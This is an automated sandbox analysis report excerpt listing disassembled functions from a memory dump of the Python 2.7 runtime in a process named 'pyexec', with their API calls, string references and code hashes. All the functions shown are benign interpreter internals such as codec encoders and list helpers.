Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$Arg_Dict_FromItemObjectString_SubtypeTupleType_Unpack
String ID: dialect name must be a string or unicode
API String ID: 2914826578-4036968015
Opcode ID: 6b84f5eb1b3ac08cc7f79444882af26f1a52c9bf7f2fc153cfb8692cb8330a61
Instruction ID: 6f8eb5aadd4b89408763ce3562d7c3838ef402b4cce12bc008d8d57aa4220256
Opcode Fuzzy Hash: 6b84f5eb1b3ac08cc7f79444882af26f1a52c9bf7f2fc153cfb8692cb8330a61
Instruction Fuzzy Hash: AF21F575A00609ABC710CAE8EC45F9BB7F89B44228F108358EC1997B81E731ED02C7E1

Function 6C12F110 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

_PyObject_GC_NewVar.PYTHON27(?,00000001), ref: 6C12F158
Py_FatalError.PYTHON27(GC object already tracked,6C12F2E2), ref: 6C12F17B
PyObject_Call.PYTHON27(6C12F2E2,00000001,00000000), ref: 6C12F1B2

Strings

P&0l, xrefs: 6C12F190, 6C12F199, 6C12F1A0
GC object already tracked, xrefs: 6C12F176

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$CallErrorFatal
String ID: GC object already tracked$P&0l
API String ID: 2672030518-2850754575
Opcode ID: 7c5ee2b14fb266057285acf6890301f73c8886368850158c3b7642df7ffb4a6e
Instruction ID: 6035d5cbc2403efd029e9e6e716f813554b5ba482475cc94e39017c63fa7ea84
Opcode Fuzzy Hash: 7c5ee2b14fb266057285acf6890301f73c8886368850158c3b7642df7ffb4a6e
Instruction Fuzzy Hash: F421F4766006249FD7208F19D881A96B3B4EB96738F258359D83D4BB80D739E886CBD1

Function 6C0A3590 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(pop from an empty deque), ref: 6C0A35AF
PyErr_SetObject.PYTHON27(6C2E5B38,00000000,pop from an empty deque), ref: 6C0A35B8
free.MSVCR90 ref: 6C0A3632

Strings

pop from an empty deque, xrefs: 6C0A35AA
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0A35A4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromObjectStringString_free
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$pop from an empty deque
API String ID: 1310082783-1204677852
Opcode ID: b0ee597639b898f9a8ec78dd2520963c22c41c5705df0d1bad6b803528470831
Instruction ID: c33ae1f25750ae64e3d10c9ac675d6e41a0ccb98b6531231c006005ecb4f30ae
Opcode Fuzzy Hash: b0ee597639b898f9a8ec78dd2520963c22c41c5705df0d1bad6b803528470831
Instruction Fuzzy Hash: 57218372A007054FD324CFAAD844666B7F8FB49338B148B6DD859C7B51E731E8568B90

Function 6C0A30E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|zO:charmap_encode,?,?,?), ref: 6C0A3109
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A312F
PyUnicodeUCS2_EncodeCharmap.PYTHON27(?,?,6C2DFB7C,00000000), ref: 6C0A3150

Strings

O|zO:charmap_encode, xrefs: 6C0A30F5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Arg_CharmapEncodeFromObjectParseSizeTuple_
String ID: O|zO:charmap_encode
API String ID: 412595032-3556360410
Opcode ID: 159536babcdbee640cad68471f25ca18ae4d3cca72f0eff15207f7e989ad343a
Instruction ID: 88c1faa8000e8dd5c5cc6f4a73cb89377e66df5b16f4649a1434fe951fe7a4f2
Opcode Fuzzy Hash: 159536babcdbee640cad68471f25ca18ae4d3cca72f0eff15207f7e989ad343a
Instruction Fuzzy Hash: 672171B5A00108AFCB00DBD9DC45FDBB7F9EB88718F148298E91897741E734DA46CB91

Function 6C0A34C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(pop from an empty deque), ref: 6C0A34DF
PyErr_SetObject.PYTHON27(6C2E5B38,00000000,pop from an empty deque), ref: 6C0A34E8
free.MSVCR90 ref: 6C0A3562

Strings

pop from an empty deque, xrefs: 6C0A34DA
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0A34D4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromObjectStringString_free
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$pop from an empty deque
API String ID: 1310082783-1204677852
Opcode ID: 2c63e0be3154882343e5526b8aeeaca39172fcc2da359d26fc41c4d033c18e20
Instruction ID: c7933948795a99ef81bef3316a267bcd26139be3bb56275d6c5306190105cc94
Opcode Fuzzy Hash: 2c63e0be3154882343e5526b8aeeaca39172fcc2da359d26fc41c4d033c18e20
Instruction Fuzzy Hash: 3D21D772A04A014FD324CFADE844666B7F4EB49338F144B2DD85987B41E732E84A8BD1

Function 6C0A2C00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|zi:utf_32_encode,?,?,?), ref: 6C0A2C29
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A2C3F
PyUnicodeUCS2_EncodeUTF32.PYTHON27(?,?,00000000,00000000), ref: 6C0A2C60

Strings

O|zi:utf_32_encode, xrefs: 6C0A2C15

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Arg_EncodeFromObjectParseSizeTuple_
String ID: O|zi:utf_32_encode
API String ID: 1839821152-3782673755
Opcode ID: b69135aca3fc4b333a29094d08c9e2e129fb92a504dd64a4db747c4672591322
Instruction ID: 5278b9b6caaab9c48c1fa2907c841da584f397bb462f21f07c990bb87dd25648
Opcode Fuzzy Hash: b69135aca3fc4b333a29094d08c9e2e129fb92a504dd64a4db747c4672591322
Instruction Fuzzy Hash: 4A216FB6A00108BFC710DBDAD844F9AB7F9AB89324F1582A4E819D7741E734DA46CBD1

Function 6C159670 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000000E4,?,?,?,?,?,6C159766,?), ref: 6C1596A0
PyErr_SetString.PYTHON27(6C2E63F8,cannot add more objects to list,?,?,?,?,?,6C159766,?), ref: 6C1596C5

Strings

%s:%d: bad argument to internal function, xrefs: 6C15969A
..\Objects\listobject.c, xrefs: 6C159695
cannot add more objects to list, xrefs: 6C1596BF

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatString
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$cannot add more objects to list
API String ID: 4212644371-2880859640
Opcode ID: 548c8d008ecb76c5d41641cd0e4ea8aca298cb3be8af5c82bd8ac7f40603745d
Instruction ID: 9407d52b0cca9eac570c82c543bf75bdeb9fce43333c78ed8eb3e281cb3ee33b
Opcode Fuzzy Hash: 548c8d008ecb76c5d41641cd0e4ea8aca298cb3be8af5c82bd8ac7f40603745d
Instruction Fuzzy Hash: C31122F67081045FC7008E6DEC8495573A5E795378F684B6AE938CBBC0FA32C4678B82

Function 6C0A2880 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:utf_7_encode,?,?), ref: 6C0A289E
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A28B4
PyUnicode_EncodeUTF7.PYTHON27(?,?,00000000,00000000,00000000), ref: 6C0A28D5

Strings

O|z:utf_7_encode, xrefs: 6C0A2891

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_EncodeFromObjectParseSizeTuple_UnicodeUnicode_
String ID: O|z:utf_7_encode
API String ID: 3513413484-4211547508
Opcode ID: a74f8a5ffd3db30cc9e7c7cf56c660abc055dda4cb132bead6e8df2f92850c38
Instruction ID: d031db6219f4614d68fa0f19037458edf0d68e8308fe32d289a5178a90febab7
Opcode Fuzzy Hash: a74f8a5ffd3db30cc9e7c7cf56c660abc055dda4cb132bead6e8df2f92850c38
Instruction Fuzzy Hash: 9F11ACB6A00108AFD710DBDADC49F8A77F9AF85728F1542A5E90897741E630EE06C7E1

Function 6C0A2CC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:utf_32_le_encode,?,?), ref: 6C0A2CDE
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A2CF4
PyUnicodeUCS2_EncodeUTF32.PYTHON27(?,?,00000000,000000FF), ref: 6C0A2D13

Strings

O|z:utf_32_le_encode, xrefs: 6C0A2CD1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Arg_EncodeFromObjectParseSizeTuple_
String ID: O|z:utf_32_le_encode
API String ID: 1839821152-4185464437
Opcode ID: 7f2e6fa7ab77b911a3c432557dadfd34c8e8c606c326830af3e0166772ee5de4
Instruction ID: 72cc8020109a78287f11d155ebe1f1c781a2ba3884ff93c71c52bb7f6dde6bf3
Opcode Fuzzy Hash: 7f2e6fa7ab77b911a3c432557dadfd34c8e8c606c326830af3e0166772ee5de4
Instruction Fuzzy Hash: 6211AFB6A04104AFDB00DADACC45E9B77F9EB85228F1542A4E81897752E630EE06C7D1

Function 6C0A2D70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:utf_32_be_encode,?,?), ref: 6C0A2D8E
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A2DA4
PyUnicodeUCS2_EncodeUTF32.PYTHON27(?,?,00000000,00000001), ref: 6C0A2DC3

Strings

O|z:utf_32_be_encode, xrefs: 6C0A2D81

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Arg_EncodeFromObjectParseSizeTuple_
String ID: O|z:utf_32_be_encode
API String ID: 1839821152-834389479
Opcode ID: 83a434207556bfb38fbd37726b9c4bc90e1cbb33ed0065f2d35d225463f698d7
Instruction ID: 0430f971a78936f1f48eadb7bc7198f04835fb3952eccced2a28428b9fe81b60
Opcode Fuzzy Hash: 83a434207556bfb38fbd37726b9c4bc90e1cbb33ed0065f2d35d225463f698d7
Instruction Fuzzy Hash: 3111AF76A00104AFDB00DADACC49E9B77F9EB85328F1442A4E90897742E630EE46C791

Function 6C165990 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PyErr_CheckSignals.PYTHON27(?,6C165D30,6C12C365), ref: 6C165993
PyOS_CheckStack.PYTHON27(?,6C165D30,6C12C365), ref: 6C16599C

Strings

__repr__ returned non-string (type %.200s), xrefs: 6C165A88

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Check$Err_SignalsStack
String ID: __repr__ returned non-string (type %.200s)
API String ID: 359474703-4223728409
Opcode ID: 3c0528fab9b81ef279b2589a5a5fc3998e2a0d1e208daf202265527f565bf7a8
Instruction ID: a89bac00c964a42776a411ccd5c19bfeca6724d8e358011bcc4220c1b1dc55c1
Opcode Fuzzy Hash: 3c0528fab9b81ef279b2589a5a5fc3998e2a0d1e208daf202265527f565bf7a8
Instruction Fuzzy Hash: 8421CD317116108FDB10CB6AD984B5AB3B8EF54738F148219ED4D8BB42D734E821DB84

Function 6C144510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529
_PyObject_GC_Malloc.PYTHON27(0000007C,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144588
memset.MSVCR90 ref: 6C1445AA

Strings

(}.l, xrefs: 6C144596
<dummy key>, xrefs: 6C144524

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: FromMallocObject_StringString_memset
String ID: (}.l$<dummy key>
API String ID: 1835424476-1791500137
Opcode ID: 0585772e9198592f353dcd3de0f9ee95a87d6f04fd26439a6b74347b8dd9c508
Instruction ID: 35f78712af3fa73288e5334ce0edcd680e94da3564a9dd3af39f8dd765ec5299
Opcode Fuzzy Hash: 0585772e9198592f353dcd3de0f9ee95a87d6f04fd26439a6b74347b8dd9c508
Instruction Fuzzy Hash: C611A1B2A047048FCB309F99E881652F7F8EB45328B004A3ED98997A00E376A519CBD1

Function 6C0A2930 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:utf_8_encode,?,?), ref: 6C0A294E
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A2964
PyUnicodeUCS2_EncodeUTF8.PYTHON27(?,?,00000000), ref: 6C0A2981

Strings

O|z:utf_8_encode, xrefs: 6C0A2941

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Arg_EncodeFromObjectParseSizeTuple_
String ID: O|z:utf_8_encode
API String ID: 1839821152-572985304
Opcode ID: 70c23290cc12a2d76d786acde892a853299fcb0d13774f9d61f5d263e9f40923
Instruction ID: 7d0bf63943c287c5c922576d8a02c89925f97ab4aa375e18a6a1377c28234972
Opcode Fuzzy Hash: 70c23290cc12a2d76d786acde892a853299fcb0d13774f9d61f5d263e9f40923
Instruction Fuzzy Hash: 8B117F76A00104AFD700DADADC49E8A77F9AB85728F1442A5E80C97751E734EE46C7E1

Function 6C0A1440 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON27(?,?,OO|nn:insort_left,6C31144C,?,?,?,?), ref: 6C0A1476

Part of subcall function 6C0A1280: PyString_FromString.PYTHON27(lo must be non-negative), ref: 6C0A129C
Part of subcall function 6C0A1280: PyErr_SetObject.PYTHON27(6C2E5D10,00000000,lo must be non-negative), ref: 6C0A12A5

PyList_Insert.PYTHON27(?,00000000,?), ref: 6C0A14B0

Part of subcall function 6C159720: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,00000103), ref: 6C15974B

PyObject_CallMethod.PYTHON27(?,insert,6C1EA5F4,00000000,?), ref: 6C0A14CD

Strings

insert, xrefs: 6C0A14C7
OO|nn:insort_left, xrefs: 6C0A1461

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Arg_CallFormatFromInsertKeywordsList_MethodObjectObject_ParseStringString_Tuple
String ID: OO|nn:insort_left$insert
API String ID: 280737455-48425545
Opcode ID: 12f3abcc782a1a8f9e06204c4abf96c8a7432f0ed36dc94dcc3ffc61a3011cc6
Instruction ID: b5f14cc3ae4a5e2cfb15bec60fa310952dbb720b42fa00aa1bdad47b13b01d0f
Opcode Fuzzy Hash: 12f3abcc782a1a8f9e06204c4abf96c8a7432f0ed36dc94dcc3ffc61a3011cc6
Instruction Fuzzy Hash: 0C1166B5904209AFDB04CAD5CC41EABB7BCEB58218F148758EC2593782E735E946C7A1

Function 6C0A2ED0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:raw_unicode_escape_encode,?,?), ref: 6C0A2EEE
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A2F04
PyUnicodeUCS2_EncodeRawUnicodeEscape.PYTHON27(?,?), ref: 6C0A2F1D

Strings

O|z:raw_unicode_escape_encode, xrefs: 6C0A2EE1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
